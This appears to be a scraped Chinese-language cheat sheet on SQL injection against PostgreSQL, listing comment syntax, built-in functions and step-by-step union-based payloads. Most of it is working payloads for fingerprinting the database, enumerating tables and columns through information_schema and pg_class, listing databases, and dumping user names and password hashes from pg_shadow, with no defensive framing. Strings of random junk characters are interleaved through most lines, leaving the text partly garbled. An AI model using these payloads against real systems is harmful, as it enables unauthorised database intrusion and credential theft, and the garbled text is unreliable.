结合了MSSQL MySQL Oracle的一些特点# R& m4 I9 p6 V! f( K5 v. a( g( T/ V
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/* H* s, i, ]! X- {6 i
连接符: %20 , + , /**/ 内置函数:
+ Z" |' q, _% \/ u J5 h. ecurrent_database() //当前数据库名0 M& f+ o: T# b; n1 i9 ~
session_user //会话用户8 }+ ~' X4 |. i" o. W
current_user //当前数据库用户5 j2 s4 P; ~# |7 f& b( |# r
user //当前用户1 e7 l* c G! |) H
version() //数据库版本 Union注射:& D, W" U. Z% y' J. z4 l! ?7 y
order by n–
, N& ^- h. U+ k' T- Vand 1=2 union select null,null,null–
2 y# T# w# \. |* s9 `) q+ C3 qand 1=2 union select ‘beach’,null,null–
: |* Z2 ~) R( Z" `and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
9 Z: F5 s( @3 b# }( |group_concat(table_name)7 `) G: b z% W' U' e
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–+ k8 A- n7 ]* r' Z) W3 k! Q+ j
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–$ |$ j) x7 [: G
(老版本)- ?* Y6 ]0 I h. R- [ m
pg_class.oid对应pg_attribute.attrelid
3 j, k9 a; h+ Y$ qpg_class.relname表名
: X% a H5 |# |# c5 O/ g. D& Gpg_attribute.attname字段名 select relname from pg_class获取表名( a5 g( G, z0 L9 l" W7 l
select oid from pg_class where 条件 获取参数. T2 H+ L. X( R4 a
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:- A& ]6 w: o# ~' X! E7 e9 `) @+ C
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表9 w/ Q( s9 b% k' K' @) A
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–( E0 [- G+ o" A
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, F! M f1 m3 I) e$ j======================================================================
$ x1 t3 [: J9 ~) ~( W8 K% Kand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库! V+ g+ x1 U) V& W6 l4 a$ `
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |